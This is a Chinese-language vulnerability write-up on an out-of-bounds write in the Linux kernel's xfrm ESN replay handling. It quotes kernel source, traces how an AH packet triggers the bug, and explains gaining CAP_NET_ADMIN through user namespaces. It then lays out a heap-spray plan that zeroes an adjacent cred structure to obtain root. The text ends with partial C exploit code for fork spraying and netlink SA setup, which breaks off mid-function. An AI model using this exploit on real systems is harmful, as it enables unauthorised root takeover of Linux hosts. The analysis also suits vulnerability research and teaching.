static void xfrm_replay_advance_esn(struct xfrm_state *x, __be32 net_seq)
{
	unsigned int bitnr, nr, i;
	int wrap;
	u32 diff, pos, seq, seq_hi;
	struct xfrm_replay_state_esn *replay_esn = x->replay_esn;	//获取重放结构体

	if (!replay_esn->replay_window)	
		return;

	seq = ntohl(net_seq);	//网络发送来的ip_auth.seq_no值
	pos = (replay_esn->seq - 1) % replay_esn->replay_window;//获取在bmp中的位置
	seq_hi = xfrm_replay_seqhi(x, net_seq);//获取重放序号高32位
	wrap = seq_hi - replay_esn->seq_hi;		//获取序号高32位差值

	if ((!wrap && seq > replay_esn->seq) || wrap > 0) {
		if (likely(!wrap))
			diff = seq - replay_esn->seq;	//获取序号低32位差值
		else
			diff = ~replay_esn->seq + seq + 1;

		if (diff < replay_esn->replay_window) {	//差值小于索引范围，存在越界数组写
			for (i = 1; i < diff; i++) {
				bitnr = (pos + i) % replay_esn->replay_window;	//计算当前bmp写入位置
				nr = bitnr >> 5;	
				bitnr = bitnr & 0x1F;	
				replay_esn->bmp[nr] &=  ~(1U << bitnr);	//对bmp中某位置置0
			}
		} else {	
			nr = (replay_esn->replay_window - 1) >> 5;	//将bmp一片区域都赋值为0
			for (i = 0; i <= nr; i++)
				replay_esn->bmp[i] = 0;
		}

		bitnr = (pos + diff) % replay_esn->replay_window;
		replay_esn->seq = seq;	//更新低32位序号

		if (unlikely(wrap > 0))
			replay_esn->seq_hi++;
	} else {
		diff = replay_esn->seq - seq;

		if (pos >= diff)
			bitnr = (pos - diff) % replay_esn->replay_window;
		else
			bitnr = replay_esn->replay_window - (diff - pos);
	}

	nr = bitnr >> 5;
	bitnr = bitnr & 0x1F;
	replay_esn->bmp[nr] |= (1U << bitnr);	//对bmp某位置置1

	if (xfrm_aevent_is_on(xs_net(x)))
		x->repl->notify(x, XFRM_REPLAY_UPDATE);
}

xfrm_replay_check_esn函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static int xfrm_replay_check_esn(struct xfrm_state *x,
				 struct sk_buff *skb, __be32 net_seq)
{
	unsigned int bitnr, nr;
	u32 diff;
	struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
	u32 pos;
	u32 seq = ntohl(net_seq);
	u32 wsize = replay_esn->replay_window;
	u32 top = replay_esn->seq;
	u32 bottom = top - wsize + 1;

	if (!wsize)
		return 0;

	if (unlikely(seq == 0 && replay_esn->seq_hi == 0 &&
		     (replay_esn->seq < replay_esn->replay_window - 1)))
		goto err;

	diff = top - seq;

	if (likely(top >= wsize - 1)) {
		/* A. same subspace */
		if (likely(seq > top) || seq < bottom)
			return 0;
	} else {
		/* B. window spans two subspaces */
		if (likely(seq > top && seq < bottom))
			return 0;
		if (seq >= bottom)
			diff = ~seq + top + 1;
	}

	if (diff >= replay_esn->replay_window) {
		x->stats.replay_window++;	
		goto err;
	}

	pos = (replay_esn->seq - 1) % replay_esn->replay_window;	//获取在bmp中的位置

	if (pos >= diff)
		bitnr = (pos - diff) % replay_esn->replay_window;
	else
		bitnr = replay_esn->replay_window - (diff - pos);

	nr = bitnr >> 5;
	bitnr = bitnr & 0x1F;
	if (replay_esn->bmp[nr] & (1U << bitnr))
		goto err_replay;

	return 0;

err_replay:
	x->stats.replay++;
err:
	xfrm_audit_state_replay(x, skb, net_seq);
	return -EINVAL;
}

接着，分析 xfrm_replay_esn结构体如何调用，可以找到在xfrm_init_replay函数中，会将 xfrm_replay_esn地址赋值给 x->repl成员，进而查找 x->repl在何处调用会调用 advance和 check成员函数，最终在 xfrm_input中可以看到调用了 x->repl->advance(x, seq)。现在找到一处可以调用 越界数组读写的函数。

但是，还得找到我们能够在用户态就能控制的函数，而 xfrm_input我们不能直接控制，所以转而继续查找 xfrm_input的引用函数，最终找到如下调用链：

  1. xfrm4_rcv_spi 调用 xfrm_input
  2. xfrm4_rcv 调用 xfrm4_rcv_spi
  3. xfrm4_ah_rvc调用 xfrm4_rcv

最终可以追溯到 AH协议的内核协议栈中：

1
2
3
4
5
6
static const struct net_protocol ah4_protocol = {
	.handler		=	xfrm4_ah_rcv,
	.err_handler	=	xfrm4_ah_err,
	.no_policy		=	1,
	.netns_ok		=	1,
};

也即，可以通过发送 AH数据包来触发越界读写。

在 xfrm_input 函数如下，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
int xfrm_input(struct sk_buff *skb, int nexthdr, __be32 spi, int encap_type)
{
	struct net *net = dev_net(skb->dev);
	int err;
	__be32 seq;
	__be32 seq_hi;
	struct xfrm_state *x = NULL;
	xfrm_address_t *daddr;
	struct xfrm_mode *inner_mode;
	u32 mark = skb->mark;
	unsigned int family;
	int decaps = 0;
	int async = 0;

	/* A negative encap_type indicates async resumption. */
	if (encap_type < 0) {
		async = 1;
		x = xfrm_input_state(skb);	//从socket buffer中获得xfrm_state
		seq = XFRM_SKB_CB(skb)->seq.input.low;//获得输入的序号低32位
		family = x->outer_mode->afinfo->family;
		goto resume;
	}

	daddr = (xfrm_address_t *)(skb_network_header(skb) +
				   XFRM_SPI_SKB_CB(skb)->daddroff);
	family = XFRM_SPI_SKB_CB(skb)->family;

	/* if tunnel is present override skb->mark value with tunnel i_key */
	if (XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip4) {
		switch (family) {
		case AF_INET:
			mark = be32_to_cpu(XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip4->parms.i_key);
			break;
		case AF_INET6:
			mark = be32_to_cpu(XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip6->parms.i_key);
			break;
		}
	}

	/* Allocate new secpath or COW existing one. */
	if (!skb->sp || atomic_read(&skb->sp->refcnt) != 1) {
		struct sec_path *sp;

		sp = secpath_dup(skb->sp);
		if (!sp) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINERROR);
			goto drop;
		}
		if (skb->sp)
			secpath_put(skb->sp);
		skb->sp = sp;
	}

	seq = 0;
	if (!spi && (err = xfrm_parse_spi(skb, nexthdr, &spi, &seq)) != 0) {
		XFRM_INC_STATS(net, LINUX_MIB_XFRMINHDRERROR);
		goto drop;
	}

	do {
		if (skb->sp->len == XFRM_MAX_DEPTH) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINBUFFERERROR);
			goto drop;
		}

		x = xfrm_state_lookup(net, mark, daddr, spi, nexthdr, family);	//利用AH数据包从hash表中找到对应的SA结构体
		if (x == NULL) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINNOSTATES);
			xfrm_audit_state_notfound(skb, family, spi, seq);
			goto drop;
		}

		skb->sp->xvec[skb->sp->len++] = x;

		spin_lock(&x->lock);

		if (unlikely(x->km.state != XFRM_STATE_VALID)) {
			if (x->km.state == XFRM_STATE_ACQ)
				XFRM_INC_STATS(net, LINUX_MIB_XFRMACQUIREERROR);
			else
				XFRM_INC_STATS(net,
					       LINUX_MIB_XFRMINSTATEINVALID);
			goto drop_unlock;
		}

		if ((x->encap ? x->encap->encap_type : 0) != encap_type) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMISMATCH);
			goto drop_unlock;
		}
		//调用xfrm_replay_check_esn进行检查
		if (x->repl->check(x, skb, seq)) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATESEQERROR);
			goto drop_unlock;
		}

		if (xfrm_state_check_expire(x)) {//check x->lft内容
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEEXPIRED);
			goto drop_unlock;
		}

		spin_unlock(&x->lock);
		//检查tunnel参数
		if (xfrm_tunnel_check(skb, x, family)) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
			goto drop;
		}
		//根据x->replay_esn中，seq、replay_windows关系，返回seqhi
		seq_hi = htonl(xfrm_replay_seqhi(x, seq));

		XFRM_SKB_CB(skb)->seq.input.low = seq;
		XFRM_SKB_CB(skb)->seq.input.hi = seq_hi;

		skb_dst_force(skb);
		dev_hold(skb->dev);

		nexthdr = x->type->input(x, skb);

		if (nexthdr == -EINPROGRESS)
			return 0;
resume:
		dev_put(skb->dev);

		spin_lock(&x->lock);
		if (nexthdr <= 0) {
			if (nexthdr == -EBADMSG) {
				xfrm_audit_state_icvfail(x, skb,
							 x->type->proto);
				x->stats.integrity_failed++;
			}
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEPROTOERROR);
			goto drop_unlock;
		}

		/* only the first xfrm gets the encap type */
		encap_type = 0;

		if (async && x->repl->recheck(x, skb, seq)) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATESEQERROR);
			goto drop_unlock;
		}
		//调用 xfrm_replay_advance_esn
		x->repl->advance(x, seq);

		x->curlft.bytes += skb->len;
		x->curlft.packets++;

		spin_unlock(&x->lock);

		XFRM_MODE_SKB_CB(skb)->protocol = nexthdr;

		inner_mode = x->inner_mode;

		if (x->sel.family == AF_UNSPEC) {
			inner_mode = xfrm_ip2inner_mode(x, XFRM_MODE_SKB_CB(skb)->protocol);
			if (inner_mode == NULL) {
				XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
				goto drop;
			}
		}

		if (inner_mode->input(x, skb)) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
			goto drop;
		}

		if (x->outer_mode->flags & XFRM_MODE_FLAG_TUNNEL) {
			decaps = 1;
			break;
		}

		/*
		 * We need the inner address.  However, we only get here for
		 * transport mode so the outer address is identical.
		 */
		daddr = &x->id.daddr;
		family = x->outer_mode->afinfo->family;

		err = xfrm_parse_spi(skb, nexthdr, &spi, &seq);
		if (err < 0) {
			XFRM_INC_STATS(net, LINUX_MIB_XFRMINHDRERROR);
			goto drop;
		}
	} while (!err);

	err = xfrm_rcv_cb(skb, family, x->type->proto, 0);
	if (err)
		goto drop;

	nf_reset(skb);

	if (decaps) {
		skb_dst_drop(skb);
		netif_rx(skb);
		return 0;
	} else {
		return x->inner_mode->afinfo->transport_finish(skb, async);
	}

drop_unlock:
	spin_unlock(&x->lock);
drop:
	xfrm_rcv_cb(skb, family, x && x->type ? x->type->proto : nexthdr, -1);
	kfree_skb(skb);
	return 0;
}
EXPORT_SYMBOL(xfrm_input);

总结： 通过用户态空间发送一个 AH数据包将导致，一个 bit的内存写，或者一段空间的置0.

漏洞触发

首先需要了解 netlink与 xfrm通信的数据包格式，如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* ========================================================================
 *         Netlink Messages and Attributes Interface (As Seen On TV)
 * ------------------------------------------------------------------------
 *                          Messages Interface
 * ------------------------------------------------------------------------
 *
 * Message Format:
 *    <--- nlmsg_total_size(payload)  --->
 *    <-- nlmsg_msg_size(payload) ->
 *   +----------+- - -+-------------+- - -+-------- - -
 *   | nlmsghdr | Pad |   Payload   | Pad | nlmsghdr
 *   +----------+- - -+-------------+- - -+-------- - -
 *   nlmsg_data(nlh)---^                   ^
 *   nlmsg_next(nlh)-----------------------+
 *
 * Payload Format:
 *    <---------------------- nlmsg_len(nlh) --------------------->
 *    <------ hdrlen ------>       <- nlmsg_attrlen(nlh, hdrlen) ->
 *   +----------------------+- - -+--------------------------------+
 *   |     Family Header    | Pad |           Attributes           |
 *   +----------------------+- - -+--------------------------------+
 *   nlmsg_attrdata(nlh, hdrlen)---^
 *
 * Data Structures:
 *   struct nlmsghdr			netlink message header
 * ------------------------------------------------------------------------
 *                          Attributes Interface
 * ------------------------------------------------------------------------
 *
 * Attribute Format:
 *    <------- nla_total_size(payload) ------->
 *    <---- nla_attr_size(payload) ----->
 *   +----------+- - -+- - - - - - - - - +- - -+-------- - -
 *   |  Header  | Pad |     Payload      | Pad |  Header
 *   +----------+- - -+- - - - - - - - - +- - -+-------- - -
 *                     <- nla_len(nla) ->      ^
 *   nla_data(nla)----^                        |
 *   nla_next(nla)-----------------------------'
 *
 * Data Structures:
 *   struct nlattr

上图中，可以看到发送到内核的数据需要如下形式：

nlmsghdr + Family Header + n * (nla + data)

img

首先从 xfrm_netlink_rcv函数会调用 sock_net获得传入的网络信息，随后调用 netlink_rcv_skb函数，会检查 nlmsg_type 及 nlmsg_len范围，并交由 cb函数处理，其赋值为 xfrm_user_rcv_msg：

1
2
3
4
5
6
7
8
static void xfrm_netlink_rcv(struct sk_buff *skb)
{
	struct net *net = sock_net(skb->sk);

	mutex_lock(&net->xfrm.xfrm_cfg_mutex);
	netlink_rcv_skb(skb, &xfrm_user_rcv_msg);
	mutex_unlock(&net->xfrm.xfrm_cfg_mutex);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int netlink_rcv_skb(struct sk_buff *skb, int (*cb)(struct sk_buff *,
						     struct nlmsghdr *))
{
	struct nlmsghdr *nlh;
	int err;

	while (skb->len >= nlmsg_total_size(0)) {	
		int msglen;

		nlh = nlmsg_hdr(skb);
		err = 0;

		if (nlh->nlmsg_len < NLMSG_HDRLEN || skb->len < nlh->nlmsg_len)	//检查 nlmsg_len 和 skb->len
			return 0;

		/* Only requests are handled by the kernel */
		if (!(nlh->nlmsg_flags & NLM_F_REQUEST))	//检查 nlmsg_flags
			goto ack;

		/* Skip control messages */
		if (nlh->nlmsg_type < NLMSG_MIN_TYPE)	//检查nlmsg_type
			goto ack;

		err = cb(skb, nlh);	//将socket_buffer和nlmsghdr交由cb处理，cb=xfrm_user_rcv_msg
		if (err == -EINTR)
			goto skip;

ack:
		if (nlh->nlmsg_flags & NLM_F_ACK || err)
			netlink_ack(skb, nlh, err);

skip:
		msglen = NLMSG_ALIGN(nlh->nlmsg_len);
		if (msglen > skb->len)
			msglen = skb->len;
		skb_pull(skb, msglen);
	}

	return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
	struct net *net = sock_net(skb->sk);
	struct nlattr *attrs[XFRMA_MAX+1];
	const struct xfrm_link *link;
	int type, err;

#ifdef CONFIG_COMPAT
	if (is_compat_task())
		return -ENOTSUPP;
#endif

	type = nlh->nlmsg_type;
	if (type > XFRM_MSG_MAX)
		return -EINVAL;

	type -= XFRM_MSG_BASE;
	link = &xfrm_dispatch[type];	//根据type调用xfrm_dispatch查找对应有调用的函数

	/* All operations require privileges, even GET */
	if (!netlink_net_capable(skb, CAP_NET_ADMIN))	//检查执行调用函数所需要的权限
		return -EPERM;

	if ((type == (XFRM_MSG_GETSA - XFRM_MSG_BASE) ||
	     type == (XFRM_MSG_GETPOLICY - XFRM_MSG_BASE)) &&
	    (nlh->nlmsg_flags & NLM_F_DUMP)) {
		if (link->dump == NULL)
			return -EINVAL;

		{
			struct netlink_dump_control c = {
				.dump = link->dump,
				.done = link->done,
			};
			return netlink_dump_start(net->xfrm.nlsk, skb, nlh, &c);
		}
	}
	//根据 nla中参数类型，来初始化一个 attrs(nlattr)
	err = nlmsg_parse(nlh, xfrm_msg_min[type], attrs,
			  link->nla_max ? : XFRMA_MAX,
			  link->nla_pol ? : xfrma_policy);
	if (err < 0)
		return err;

	if (link->doit == NULL)	
		return -EINVAL;

	return link->doit(skb, nlh, attrs);//将 attrs作为参数，调用函数执行
}

其中，xfrm_dispatch结构如下，里面有我们需要的函数，我们只需要将 nlmsg_type设置为相应的值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
xfrm_dispatch[XFRM_NR_MSGTYPES] = {
	[XFRM_MSG_NEWSA       - XFRM_MSG_BASE] = { .doit = xfrm_add_sa        },
	[XFRM_MSG_DELSA       - XFRM_MSG_BASE] = { .doit = xfrm_del_sa        },
	[XFRM_MSG_GETSA       - XFRM_MSG_BASE] = { .doit = xfrm_get_sa,
						   .dump = xfrm_dump_sa,
						   .done = xfrm_dump_sa_done  },
	[XFRM_MSG_NEWPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
	[XFRM_MSG_DELPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy    },
	[XFRM_MSG_GETPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
						   .dump = xfrm_dump_policy,
						   .done = xfrm_dump_policy_done },
	[XFRM_MSG_ALLOCSPI    - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
	[XFRM_MSG_ACQUIRE     - XFRM_MSG_BASE] = { .doit = xfrm_add_acquire   },
	[XFRM_MSG_EXPIRE      - XFRM_MSG_BASE] = { .doit = xfrm_add_sa_expire },
	[XFRM_MSG_UPDPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
	[XFRM_MSG_UPDSA       - XFRM_MSG_BASE] = { .doit = xfrm_add_sa        },
	[XFRM_MSG_POLEXPIRE   - XFRM_MSG_BASE] = { .doit = xfrm_add_pol_expire},
	[XFRM_MSG_FLUSHSA     - XFRM_MSG_BASE] = { .doit = xfrm_flush_sa      },
	[XFRM_MSG_FLUSHPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_flush_policy  },
	[XFRM_MSG_NEWAE       - XFRM_MSG_BASE] = { .doit = xfrm_new_ae  },
	[XFRM_MSG_GETAE       - XFRM_MSG_BASE] = { .doit = xfrm_get_ae  },
	[XFRM_MSG_MIGRATE     - XFRM_MSG_BASE] = { .doit = xfrm_do_migrate    },
	[XFRM_MSG_GETSADINFO  - XFRM_MSG_BASE] = { .doit = xfrm_get_sadinfo   },
	[XFRM_MSG_NEWSPDINFO  - XFRM_MSG_BASE] = { .doit = xfrm_set_spdinfo,
						   .nla_pol = xfrma_spd_policy,
						   .nla_max = XFRMA_SPD_MAX },
	[XFRM_MSG_GETSPDINFO  - XFRM_MSG_BASE] = { .doit = xfrm_get_spdinfo   },
};

而 Family Header需要到对应的处理函数中寻找，以 xfrm_add_sa为例，其调用 nlmsg_data函数的赋值变量类型为 xfrm_usersa_info，即为 Family Header

1
struct xfrm_usersa_info *p = nlmsg_data(nlh);

总结

这里解释一下 EXP中比较关心的几个问题：

  1. 如何控制 xfrm_replay_state_esn->bmp的大小

我们必须精确控制 bmp的大小，才能为其布置堆布局。这里需要利用上述的数据包格式，先构造 xfrm_replay_state_esn中的 replay_window和 bmp_len，其中 bmp_len确定了 申请的大小；

  1. 如何修改 replay_window和 seq等值

直接修改 xfrm_replay_state_esn_rs中的 replay_window、bmp_len和 seq_hi以及 seq等值。

漏洞利用

权限限制

在 xfrm_user_rcv_msg函数中，会对调用权限进行检查，如下所示：

1
netlink_net_capable(skb, CAP_NET_ADMIN)

其所需权限为 CAP_NET_ADMIN权限。在 Linux系统中存在命名空间的权限隔离机制，在每一个 NET沙箱中，非 ROOT进程可以具有 CAP_NET_ADMIN权限。可以通过如下命令查看命名空间是否开启，若为 y，则启用了命名空间。

1
cat /boot/config* | grep COFNIG_USER_NS

namespace：是Linux内核用来隔离内核资源的方式，通过 namespace可以让一些进程只能看到与自己相关的一部分资源，而另外一些进程也只能看到与其自己相关的资源，这两个进程资源互不干扰。具体的实现方式是把一个或多个进程的相关资源指定在同一个 namespace中。

绕过限制的两种方法：一是使用 setcap命令为 EXP赋予权限，即执行 sudo setcap cap_net_raw, cap_net_admin=eip ./exp；二是设置 namespace sandbox。

注意：而在 ubuntu等发行版中，User namespace是默认开启的，非特权用户可以创建用户命名空间、网络命名空间，在命名空间内部，即可触发漏洞

利用方法

覆写 cred 结构体

第一种提权方法是覆写 cred结构体。首先 xfrm_replay_state_esn是一个变长的数据结构，其长度是可以由用户输入的 bmp_len来指定，并在 xfrm_alloc_replay_state_esn函数 中通过 kzalloc申请 bmp_len*4+0x18大小。

其中，可以调用 xfrm_replay_advance_esn函数中的越界写，将紧邻着 bmp的一片区域写为0.

1
nr = (replay_esn->replay_window - 1) >> 5

cred结构体

每一个线程都有自己的线程栈、和一个自己的线程结构体 thread_info，其中有一个 task_struct结构体，里面有一个 cred结构体指定了当前线程的权限。只要能够将 cred结构中 uid~fsgid全部覆写为0就可以把这个线程权限提升为 root(root uid 为0)。

而 cred结构体是在线程初始化时由 prepare_creds函数创建，其创建方法是 kmem_cache_alloc，取出的大小由 cred_jar所在的 kmem_cache决定。 

1
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);

kzalloc

而 kzalloc函数 与 kmalloc函数十分相似，其只会对 kmalloc申请的堆块进行清空操作：

1
2
3
4
5
6
7
8
9
/**
 * kzalloc - allocate memory. The memory is set to zero.
 * @size: how many bytes of memory are required.
 * @flags: the type of memory to allocate (see kmalloc).
 */
static inline void *kzalloc(size_t size, gfp_t flags)
{
	return kmalloc(size, flags | __GFP_ZERO);
}

而 kmalloc是内核中最常用的一种内存分配方式，通过调用 kmem_cache_alloc函数来实现。

而 kmem_cache_alloc是基于 slab分配器的一种内存分配方式，适用于反复分配释放同一大小内存块的场合，首先用 kmem_cache_create创建一个高速缓存区域，然后用 kmem_cache_alloc从高速缓存区域中获取新的内存块。这里 kmem_cache_alloc会从指定的 kmem_cache中取，而 cred就是从 名称为cred_jar的 kmem_cache中取出。

而 kmalloc是会根据 size获取相应的 kmem_cache再取出。

本来，kmem_cache_alloc(cred_jar, GFP_KERNEL) 是从 cred_jar所在 kmem_cache取出，而 分配 bmp 是由 kmalloc根据size取。本应该不会在同一条链上，而这里经过调试发现 cred_jar就是 kmalloc-192。

所以：这里能够采用覆写 cred结构体的方法

对于同一个 kmem_cache分配出来的内存块有一定概率是相邻的，因为slub初始化时是直接从伙伴算法中分配地址相邻的 page到同一个 kmem_cache中，尽管后续因为分配释放，导致同一个 kmem_cache中不一定全部相邻，但是有一定的机率分配到相邻的两个堆块。

那么当通过 设置 xfrm_replay_state_esn结构体设置为 192以内，就会从 kmalloc-192中分配出来，并利用 fork新建大量进程，使申请大量 cred，这样喷射之后有很大概率使得 xfrm_replay_state_esn与 cred相邻。然后就可以利用 越界读写漏洞 将相邻的 cred置零，这样就会导致某个进程能够提权，并通过 反弹shell得到一个 root权限的 shell。

总体思路即为：

创建 xfrm_replay_state_esn：

调用 xfrm_add_sa函数，指定 bmp大小为 192，并设置好对应 参数。

修改xfrm_replay_state_esn

调用 xfrm_new_ae对 xfrm_replay_state_esn中的 seq，seq_hi ,replay_window进行设定，replay_window为即将要置0的长度大小。由于连续申请了两次 xfrm_replay_state_esn结构体，所以这里需要将 replay_window设置较大，至少能够越过 相邻的 第2个 xfrm_replay_state_esn结构体覆写 cred。而 seq_hi和 seq两个数据需要结合之后发送的 ah数据包中的 seq参数，引导 xfrm_replay_advance_esn到达 bmp[0]~bmp[n]这个分支

AH数据包

AH数据包的要求即 spi需要和之前申请的 SA和 spi相同用于寻找 xfrm_state，并且需要满足：

diff >= replay_esn->replay_window，其中 diff的数据由 xfrm_repaly_state_esn中的 seq、seq_hi及 AH的 seq共同决定，还需再后续单字节写的位置，将 cred结构体中的 usage置回原值。

漏洞调试

环境搭建

环境搭建太心累了，前前后后拖了5天，才把内核编译好，主要参考这篇文章：

https://blog.csdn.net/m0_37329910/article/details/97620934

但是就算编译好后，才发现编译的内核没有开启 xfrm功能，应该是编译前配置文件没有选对。

然后，转而投向双机调试。这个网上现成教程比较多，可以参考这篇文章。但，唯一问题就是特别慢，连接上到能够开始调试大概得几分钟吧。心累~

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/in.h>
#include <linux/xfrm.h>


#define MAX_PAYLOAD 4096
struct ip_auth_hdr {
	__u8	nexthdr;
	__u8	hdrlen;
	__be16	reserved;	/* big endian */
	__be32	spi;		/* big endian */
	__be32	seq_no;		/* big endian */
	__u8	auth_data[8];
};


void fork_spary_n(int n,unsigned int time){
	int i;
	for(i = 0;i < n;i++){
		int pid ;
		pid = fork();
		if(pid ==0){
			sleep(time);
			if(getuid() == 0){
				fprintf(stderr, "[+] now get r00t\n" );
				system("id");
				system("xcalc");
			}
			else{
				exit(0);
			}
		}
	}

}

int init_xfrm_socket(){
	struct sockaddr_nl addr; 
	int result = -1,xfrm_socket;
	xfrm_socket = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (xfrm_socket<=0){
		perror("[-] bad NETLINK_XFRM socket ");
		return result;
	}
    addr.nl_family = PF_NETLINK;  
    addr.nl_pad    = 0;  
    addr.nl_pid    = getpid();  
    addr.nl_groups = 0;
    result = bind(xfrm_socket, (struct sockaddr *)&addr, sizeof(addr));
   	if (result<0){
		perror("[-] bad bind ");
		close(xfrm_socket);
		return result;
	} 
	return xfrm_socket;
}

int init_recvfd(){  //初始化recv函数
	int recvfd=-1;
	recvfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
	if (recvfd<=0){
		perror("[-] bad IPPROTO_AH socket ");
	}
	return recvfd;
}

int init_sendfd(){
	int sendfd=-1,err;	
	struct sockaddr_in addr;
	sendfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
	if (sendfd<=0){
		perror("[-] bad IPPROTO_AH socket ");
		return -1;
	}
	memset(&addr,0,sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(0x4869);
	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	err = bind(sendfd, (struct sockaddr*)&addr,sizeof(addr));
	if (err<0){
		perror("[-] bad bind");
		return -1;		
	}
	return sendfd;
}

void dump_data(char *buf,size_t len){
	puts("=========================");
    int i ;
    for(i = 0;i<((len/8)*8);i+=8){
        printf("0x%lx",*(size_t *)(buf+i) );
        if (i%16)
            printf(" ");
        else
            printf("\n");
    }
}

int xfrm_add_sa(int sock,int spi,int bmp_len){
	struct sockaddr_nl nladdr;
	struct msghdr msg;
	struct nlmsghdr *nlhdr;
	struct iovec iov;
	int len = 4096,err;
	char *data;

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;
	nladdr.nl_pid = 0;
	nladdr.nl_groups = 0;
	nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
	memset(nlhdr,0,NLMSG_SPACE(len));

	nlhdr->nlmsg_len = NLMSG_LENGTH(len);
	nlhdr->nlmsg_flags = NLM_F_REQUEST;
	nlhdr->nlmsg_pid = getpid();
	nlhdr->nlmsg_type = XFRM_MSG_NEWSA;

	data = NLMSG_DATA(nlhdr); 
	struct xfrm_usersa_info xui;
	memset(&xui,0,sizeof(xui));
	xui.family = AF_INET;
	xui.id.proto = IPPROTO_AH;
	xui.id.spi = spi;
	xui.id.daddr.a4 = inet_addr("127.0.0.1");
	xui.lft.hard_byte_limit = 0x10000000;
	xui.lft.hard_packet_limit = 0x10000000;
	xui.lft.soft_byte_limit = 0x1000;
	xui.lft.soft_packet_limit = 0x1000;
	xui.mode = XFRM_MODE_TRANSPORT;
	xui.flags = XFRM_STATE_ESN;
	memcpy(data,&xui,sizeof(xui));

	data += sizeof(xui);
	struct nlattr nla;
	struct xfrm_algo xa;
	memset(&nla, 0, sizeof(nla));
	memset(&xa, 0, sizeof(xa));
	nla.nla_len = sizeof(xa) + sizeof(nla);
	nla.nla_type = XFRMA_ALG_AUTH;
	strcpy(xa.alg_name, "digest_null");
	xa.alg_key_len = 0;
	memcpy(data, &nla, sizeof(nla));
